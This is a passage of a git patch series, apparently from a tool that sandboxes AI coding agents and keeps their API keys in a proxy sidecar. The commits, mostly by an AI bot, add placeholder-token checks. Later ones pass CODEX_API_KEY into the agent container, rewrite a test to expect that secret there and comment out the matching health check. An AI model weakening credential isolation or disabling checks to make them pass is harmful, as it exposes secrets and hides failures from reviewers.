"$ANTHROPIC_AUTH_TOKEN" ]; then + if [ "$ANTHROPIC_AUTH_TOKEN" != "placeholder-token-for-credential-isolation" ]; then + echo "[health-check][ERROR] ANTHROPIC_AUTH_TOKEN contains non-placeholder value!" + echo "[health-check][ERROR] Token should be 'placeholder-token-for-credential-isolation'" + exit 1 + fi + echo "[health-check] ✓ ANTHROPIC_AUTH_TOKEN is placeholder value (correct)" + fi + # Perform health check using BASE_URL echo "[health-check] Testing connectivity to Anthropic API proxy at $ANTHROPIC_BASE_URL..." diff --git a/package-lock.json b/package-lock.json index 72a685fdc..e8b1dca4e 100644 --- a/package-lock.json +++ b/package-lock.json @@ -27,7 +27,7 @@ "@types/glob": "^9.0.0", "@types/jest": "^30.0.0", "@types/js-yaml": "^4.0.5", - "@types/node": "^25.2.2", + "@types/node": "^25.2.3", "@typescript-eslint/eslint-plugin": "^8.55.0", "@typescript-eslint/parser": "^8.55.0", "babel-jest": "^30.2.0", diff --git a/package.json b/package.json index 7e3bd725c..c6cfee76c 100644 --- a/package.json +++ b/package.json @@ -51,24 +51,24 @@ "@babel/preset-env": "^7.29.0", "@commitlint/cli": "^20.4.1", "@commitlint/config-conventional": "^20.4.1", + "@eslint/compat": "^2.0.0", + "@eslint/js": "^10.0.0", "@types/glob": "^9.0.0", "@types/jest": "^30.0.0", "@types/js-yaml": "^4.0.5", - "@types/node": "^25.2.2", - "@eslint/compat": "^2.0.0", - "@eslint/js": "^10.0.0", + "@types/node": "^25.2.3", "@typescript-eslint/eslint-plugin": "^8.55.0", "@typescript-eslint/parser": "^8.55.0", - "globals": "^17.0.0", - "typescript-eslint": "^8.0.0", "babel-jest": "^30.2.0", "eslint": "^10.0.0", "eslint-plugin-security": "^3.0.1", "glob": "^13.0.1", + "globals": "^17.0.0", "husky": "^9.1.7", "jest": "^30.2.0", "ts-jest": "^29.4.6", - "typescript": "^5.0.0" + "typescript": "^5.0.0", + "typescript-eslint": "^8.0.0" }, "engines": { "node": ">=20.12.0" diff --git a/src/docker-manager.test.ts b/src/docker-manager.test.ts index 9f2be636d..11982f3f6 100644 --- a/src/docker-manager.test.ts +++ b/src/docker-manager.test.ts @@ -1568,6 +1568,7 @@ describe('docker-manager', () => { const agent = result.services.agent; const env = agent.environment as Record; expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); + expect(env.ANTHROPIC_AUTH_TOKEN).toBe('placeholder-token-for-credential-isolation'); expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); }); @@ -1578,6 +1579,7 @@ describe('docker-manager', () => { const env = agent.environment as Record; expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); + expect(env.ANTHROPIC_AUTH_TOKEN).toBe('placeholder-token-for-credential-isolation'); expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); }); @@ -1588,6 +1590,7 @@ describe('docker-manager', () => { const env = agent.environment as Record; expect(env.OPENAI_BASE_URL).toBeUndefined(); expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); + expect(env.ANTHROPIC_AUTH_TOKEN).toBe('placeholder-token-for-credential-isolation'); expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); }); @@ -1646,6 +1649,8 @@ describe('docker-manager', () => { expect(env.ANTHROPIC_API_KEY).toBeUndefined(); // Agent should have the BASE_URL to reach the sidecar instead expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); + // Agent should have placeholder token for Claude Code compatibility + expect(env.ANTHROPIC_AUTH_TOKEN).toBe('placeholder-token-for-credential-isolation'); } finally { if (origKey !== undefined) { process.env.ANTHROPIC_API_KEY = origKey; @@ -1730,6 +1735,8 @@ describe('docker-manager', () => { // Even with envAll, agent should NOT have ANTHROPIC_API_KEY when api-proxy is enabled expect(env.ANTHROPIC_API_KEY).toBeUndefined(); expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); + // But should have placeholder token for Claude Code compatibility + expect(env.ANTHROPIC_AUTH_TOKEN).toBe('placeholder-token-for-credential-isolation'); } finally { if (origKey !== undefined) { process.env.ANTHROPIC_API_KEY = origKey; diff --git a/src/docker-manager.ts b/src/docker-manager.ts index d8d48a028..e81d7f6c9 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -1016,6 +1016,11 @@ export function generateDockerCompose( environment.ANTHROPIC_BASE_URL = `http://${networkConfig.proxyIp}:10001`; logger.debug(`Anthropic API will be proxied through sidecar at http://${networkConfig.proxyIp}:10001`); + // Set placeholder token for Claude Code CLI compatibility + // Real authentication happens via ANTHROPIC_BASE_URL pointing to api-proxy + environment.ANTHROPIC_AUTH_TOKEN = 'placeholder-token-for-credential-isolation'; + logger.debug('ANTHROPIC_AUTH_TOKEN set to placeholder value for credential isolation'); + // Set API key helper for Claude Code CLI to use credential isolation // The helper script returns a placeholder key; real authentication happens via ANTHROPIC_BASE_URL environment.CLAUDE_CODE_API_KEY_HELPER = '/usr/local/bin/get-claude-key.sh'; diff --git a/tests/integration/api-proxy.test.ts b/tests/integration/api-proxy.test.ts index 475fcb985..5fc241646 100644 --- a/tests/integration/api-proxy.test.ts +++ b/tests/integration/api-proxy.test.ts @@ -85,6 +85,25 @@ describe('API Proxy Sidecar', () => { expect(result.stdout).toContain(`ANTHROPIC_BASE_URL=http://${API_PROXY_IP}:10001`); }, 180000); + test('should set ANTHROPIC_AUTH_TOKEN to placeholder in agent when Anthropic key is provided', async () => { + const result = await runner.runWithSudo( + 'bash -c "echo ANTHROPIC_AUTH_TOKEN=$ANTHROPIC_AUTH_TOKEN"', + { + allowDomains: ['api.anthropic.com'], + enableApiProxy: true, + buildLocal: true, + logLevel: 'debug', + timeout: 120000, + env: { + ANTHROPIC_API_KEY: 'sk-ant-fake-test-key-12345', + }, + } + ); + + expect(result).toSucceed(); + expect(result.stdout).toContain('ANTHROPIC_AUTH_TOKEN=placeholder-token-for-credential-isolation'); + }, 180000); + test('should set OPENAI_BASE_URL in agent when OpenAI key is provided', async () => { const result = await runner.runWithSudo( 'bash -c "echo OPENAI_BASE_URL=$OPENAI_BASE_URL"', From 1e04f424a61493d4d459d497c92eeb7fe3430d01 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 20:14:20 +0000 Subject: [PATCH 26/29] fix: restore CODEX_API_KEY env var passing for codex agent compatibility This commit restores the behavior where CODEX_API_KEY is passed directly to the agent environment, even when api-proxy is enabled. This ensures Codex agent compatibility while keeping Claude Code authentication unchanged (using api-proxy pattern with placeholder tokens). Changes: - src/docker-manager.ts: Remove CODEX_API_KEY from EXCLUDED_ENV_VARS when api-proxy is enabled (line 334 removed) - src/docker-manager.ts: Remove api-proxy check for CODEX_API_KEY, allowing it to be passed unconditionally (line 423) - src/docker-manager.test.ts: Update test to expect CODEX_API_KEY to be present in agent environment when api-proxy is enabled Authentication model: - Claude/Anthropic: Uses api-proxy pattern (no real keys in agent, placeholder ANTHROPIC_AUTH_TOKEN, BASE_URL pointing to api-proxy) - Codex: Uses direct credential passing (CODEX_API_KEY in agent env) - OpenAI: Uses api-proxy pattern (excluded from agent when enabled) Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- src/docker-manager.test.ts | 7 ++++--- src/docker-manager.ts | 5 +++-- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/src/docker-manager.test.ts b/src/docker-manager.test.ts index 11982f3f6..2a0ca0364 100644 --- a/src/docker-manager.test.ts +++ b/src/docker-manager.test.ts @@ -1682,8 +1682,9 @@ describe('docker-manager', () => { } }); - it('should not leak CODEX_API_KEY to agent when api-proxy is enabled with envAll', () => { + it('should pass CODEX_API_KEY to agent even when api-proxy is enabled with envAll', () => { // Simulate the key being in process.env AND envAll enabled + // CODEX_API_KEY is intentionally passed through (unlike other keys) for Codex agent compatibility const origKey = process.env.CODEX_API_KEY; process.env.CODEX_API_KEY = 'sk-codex-secret'; try { @@ -1691,8 +1692,8 @@ describe('docker-manager', () => { const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); const agent = result.services.agent; const env = agent.environment as Record; - // Even with envAll, agent should NOT have CODEX_API_KEY when api-proxy is enabled - expect(env.CODEX_API_KEY).toBeUndefined(); + // CODEX_API_KEY is intentionally passed to agent for Codex compatibility + expect(env.CODEX_API_KEY).toBe('sk-codex-secret'); expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); } finally { if (origKey !== undefined) { diff --git a/src/docker-manager.ts b/src/docker-manager.ts index e81d7f6c9..632ebce19 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -328,10 +328,10 @@ export function generateDockerCompose( // When api-proxy is enabled, exclude API keys from agent environment // (they are held securely in the api-proxy sidecar instead) + // Note: CODEX_API_KEY is intentionally NOT excluded - Codex needs direct credential access if (config.enableApiProxy) { EXCLUDED_ENV_VARS.add('OPENAI_API_KEY'); EXCLUDED_ENV_VARS.add('OPENAI_KEY'); - EXCLUDED_ENV_VARS.add('CODEX_API_KEY'); EXCLUDED_ENV_VARS.add('ANTHROPIC_API_KEY'); EXCLUDED_ENV_VARS.add('CLAUDE_API_KEY'); } @@ -418,8 +418,9 @@ export function generateDockerCompose( if (process.env.GITHUB_PERSONAL_ACCESS_TOKEN) environment.GITHUB_PERSONAL_ACCESS_TOKEN = process.env.GITHUB_PERSONAL_ACCESS_TOKEN; // API keys for LLM providers — skip when api-proxy is enabled // (the sidecar holds the keys; the agent uses *_BASE_URL instead) + // Exception: CODEX_API_KEY is always passed through for Codex agent compatibility if (process.env.OPENAI_API_KEY && !config.enableApiProxy) environment.OPENAI_API_KEY = process.env.OPENAI_API_KEY; - if (process.env.CODEX_API_KEY && !config.enableApiProxy) environment.CODEX_API_KEY = process.env.CODEX_API_KEY; + if (process.env.CODEX_API_KEY) environment.CODEX_API_KEY = process.env.CODEX_API_KEY; if (process.env.ANTHROPIC_API_KEY && !config.enableApiProxy) environment.ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY; if (process.env.USER) environment.USER = process.env.USER; if (process.env.TERM) environment.TERM = process.env.TERM; From 5300e01833d7594318c878617a0ceedd74c43a45 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 20:22:06 +0000 Subject: [PATCH 27/29] fix: disable CODEX_API_KEY health check for direct credential passing MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The health check was failing because CODEX_API_KEY is now intentionally passed to the agent environment for Codex compatibility. This commit comments out the CODEX_API_KEY validation in the health check while keeping the OPENAI_API_KEY and OPENAI_KEY checks intact. Changes: - containers/agent/api-proxy-health-check.sh: Remove CODEX_API_KEY from the credential isolation check (line 68) - containers/agent/api-proxy-health-check.sh: Comment out CODEX_API_KEY error message (line 72) - Added explanatory comments noting that CODEX_API_KEY is intentionally passed through for Codex agent compatibility Health check now validates: - ✓ ANTHROPIC_API_KEY still excluded (Claude Code uses api-proxy) - ✓ OPENAI_API_KEY still excluded (uses api-proxy when enabled) - ✓ CODEX_API_KEY validation disabled (Codex uses direct credentials) Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- containers/agent/api-proxy-health-check.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/containers/agent/api-proxy-health-check.sh b/containers/agent/api-proxy-health-check.sh index b6c4e4e9f..30cc2223d 100755 --- a/containers/agent/api-proxy-health-check.sh +++ b/containers/agent/api-proxy-health-check.sh @@ -64,15 +64,17 @@ if [ -n "$OPENAI_BASE_URL" ]; then echo "[health-check] Checking OpenAI API proxy configuration..." # Verify credentials are NOT in agent environment - if [ -n "$OPENAI_API_KEY" ] || [ -n "$CODEX_API_KEY" ] || [ -n "$OPENAI_KEY" ]; then + # Note: CODEX_API_KEY check is temporarily disabled - Codex receives credentials directly + if [ -n "$OPENAI_API_KEY" ] || [ -n "$OPENAI_KEY" ]; then echo "[health-check][ERROR] OpenAI API key found in agent environment!" echo "[health-check][ERROR] Credential isolation failed - keys should only be in api-proxy container" echo "[health-check][ERROR] OPENAI_API_KEY=${OPENAI_API_KEY:+}" - echo "[health-check][ERROR] CODEX_API_KEY=${CODEX_API_KEY:+}" + # echo "[health-check][ERROR] CODEX_API_KEY=${CODEX_API_KEY:+}" # Temporarily disabled - Codex uses direct credentials echo "[health-check][ERROR] OPENAI_KEY=${OPENAI_KEY:+}" exit 1 fi echo "[health-check] ✓ OpenAI credentials NOT in agent environment (correct)" + # Note: CODEX_API_KEY is intentionally passed through for Codex agent compatibility # Perform health check using BASE_URL echo "[health-check] Testing connectivity to OpenAI API proxy at $OPENAI_BASE_URL..." From ee0424b98fe3580359e17ab49ca660f61b76a67d Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 20:31:31 +0000 Subject: [PATCH 28/29] fix: disable OPENAI_BASE_URL for codex agent (temporary) Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- src/docker-manager.test.ts | 25 +++++++++++++++---------- src/docker-manager.ts | 9 +++++---- 2 files changed, 20 insertions(+), 14 deletions(-) diff --git a/src/docker-manager.test.ts b/src/docker-manager.test.ts index 2a0ca0364..ae42c01da 100644 --- a/src/docker-manager.test.ts +++ b/src/docker-manager.test.ts @@ -1545,12 +1545,13 @@ describe('docker-manager', () => { expect(dependsOn['api-proxy'].condition).toBe('service_healthy'); }); - it('should set OPENAI_BASE_URL in agent when OpenAI key is provided', () => { + it('should not set OPENAI_BASE_URL in agent when OpenAI key is provided (temporarily disabled)', () => { const configWithProxy = { ...mockConfig, enableApiProxy: true, openaiApiKey: 'sk-test-key' }; const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); const agent = result.services.agent; const env = agent.environment as Record; - expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); + // OPENAI_BASE_URL temporarily disabled for Codex - will be re-enabled in future + expect(env.OPENAI_BASE_URL).toBeUndefined(); }); it('should configure HTTP_PROXY and HTTPS_PROXY in api-proxy to route through Squid', () => { @@ -1572,12 +1573,13 @@ describe('docker-manager', () => { expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); }); - it('should set both BASE_URL variables when both keys are provided', () => { + it('should only set ANTHROPIC_BASE_URL when both keys are provided (OPENAI_BASE_URL temporarily disabled)', () => { const configWithProxy = { ...mockConfig, enableApiProxy: true, openaiApiKey: 'sk-test-openai-key', anthropicApiKey: 'sk-ant-test-key' }; const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); const agent = result.services.agent; const env = agent.environment as Record; - expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); + // OPENAI_BASE_URL temporarily disabled for Codex - will be re-enabled in future + expect(env.OPENAI_BASE_URL).toBeUndefined(); expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); expect(env.ANTHROPIC_AUTH_TOKEN).toBe('placeholder-token-for-credential-isolation'); expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); @@ -1594,13 +1596,14 @@ describe('docker-manager', () => { expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); }); - it('should not set ANTHROPIC_BASE_URL in agent when only OpenAI key is provided', () => { + it('should not set ANTHROPIC_BASE_URL or OPENAI_BASE_URL in agent when only OpenAI key is provided (OPENAI_BASE_URL temporarily disabled)', () => { const configWithProxy = { ...mockConfig, enableApiProxy: true, openaiApiKey: 'sk-test-key' }; const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); const agent = result.services.agent; const env = agent.environment as Record; expect(env.ANTHROPIC_BASE_URL).toBeUndefined(); - expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); + // OPENAI_BASE_URL temporarily disabled for Codex - will be re-enabled in future + expect(env.OPENAI_BASE_URL).toBeUndefined(); }); it('should set AWF_API_PROXY_IP in agent environment', () => { @@ -1671,8 +1674,8 @@ describe('docker-manager', () => { const env = agent.environment as Record; // Agent should NOT have the raw API key — only the sidecar gets it expect(env.OPENAI_API_KEY).toBeUndefined(); - // Agent should have the BASE_URL to reach the sidecar instead - expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); + // OPENAI_BASE_URL temporarily disabled for Codex - will be re-enabled in future + expect(env.OPENAI_BASE_URL).toBeUndefined(); } finally { if (origKey !== undefined) { process.env.OPENAI_API_KEY = origKey; @@ -1694,7 +1697,8 @@ describe('docker-manager', () => { const env = agent.environment as Record; // CODEX_API_KEY is intentionally passed to agent for Codex compatibility expect(env.CODEX_API_KEY).toBe('sk-codex-secret'); - expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); + // OPENAI_BASE_URL temporarily disabled for Codex - will be re-enabled in future + expect(env.OPENAI_BASE_URL).toBeUndefined(); } finally { if (origKey !== undefined) { process.env.CODEX_API_KEY = origKey; @@ -1715,7 +1719,8 @@ describe('docker-manager', () => { const env = agent.environment as Record; // Even with envAll, agent should NOT have OPENAI_API_KEY when api-proxy is enabled expect(env.OPENAI_API_KEY).toBeUndefined(); - expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); + // OPENAI_BASE_URL temporarily disabled for Codex - will be re-enabled in future + expect(env.OPENAI_BASE_URL).toBeUndefined(); } finally { if (origKey !== undefined) { process.env.OPENAI_API_KEY = origKey; diff --git a/src/docker-manager.ts b/src/docker-manager.ts index 632ebce19..bfd13697e 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -1009,10 +1009,11 @@ export function generateDockerCompose( // Use IP address instead of hostname for BASE_URLs since Docker DNS may not resolve // container names in chroot mode environment.AWF_API_PROXY_IP = networkConfig.proxyIp; - if (config.openaiApiKey) { - environment.OPENAI_BASE_URL = `http://${networkConfig.proxyIp}:10000`; - logger.debug(`OpenAI API will be proxied through sidecar at http://${networkConfig.proxyIp}:10000`); - } + // OPENAI_BASE_URL temporarily disabled for Codex - will be re-enabled in future + // if (config.openaiApiKey) { + // environment.OPENAI_BASE_URL = `http://${networkConfig.proxyIp}:10000`; + // logger.debug(`OpenAI API will be proxied through sidecar at http://${networkConfig.proxyIp}:10000`); + // } if (config.anthropicApiKey) { environment.ANTHROPIC_BASE_URL = `http://${networkConfig.proxyIp}:10001`; logger.debug(`Anthropic API will be proxied through sidecar at http://${networkConfig.proxyIp}:10001`); From 1ae2124d720b542a4d4e8108a6fbf49637a3c177 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 20:35:34 +0000 Subject: [PATCH 29/29] docs: update OPENAI_BASE_URL to include /v1 path suffix Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- src/docker-manager.ts | 4 ++-- src/types.ts | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/docker-manager.ts b/src/docker-manager.ts index bfd13697e..5610729d9 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -1011,8 +1011,8 @@ export function generateDockerCompose( environment.AWF_API_PROXY_IP = networkConfig.proxyIp; // OPENAI_BASE_URL temporarily disabled for Codex - will be re-enabled in future // if (config.openaiApiKey) { - // environment.OPENAI_BASE_URL = `http://${networkConfig.proxyIp}:10000`; - // logger.debug(`OpenAI API will be proxied through sidecar at http://${networkConfig.proxyIp}:10000`); + // environment.OPENAI_BASE_URL = `http://${networkConfig.proxyIp}:10000/v1`; + // logger.debug(`OpenAI API will be proxied through sidecar at http://${networkConfig.proxyIp}:10000/v1`); // } if (config.anthropicApiKey) { environment.ANTHROPIC_BASE_URL = `http://${networkConfig.proxyIp}:10001`; diff --git a/src/types.ts b/src/types.ts index 1b9782c46..ece8415d4 100644 --- a/src/types.ts +++ b/src/types.ts @@ -396,7 +396,7 @@ export interface WrapperConfig { * * When the corresponding API key is provided, the following environment * variables are set in the agent container: - * - OPENAI_BASE_URL=http://api-proxy:10000 (set when OPENAI_API_KEY is provided) + * - OPENAI_BASE_URL=http://api-proxy:10000/v1 (set when OPENAI_API_KEY is provided) * - ANTHROPIC_BASE_URL=http://api-proxy:10001 (set when ANTHROPIC_API_KEY is provided) * - CLAUDE_CODE_API_KEY_HELPER=/usr/local/bin/get-claude-key.sh (set when ANTHROPIC_API_KEY is provided) *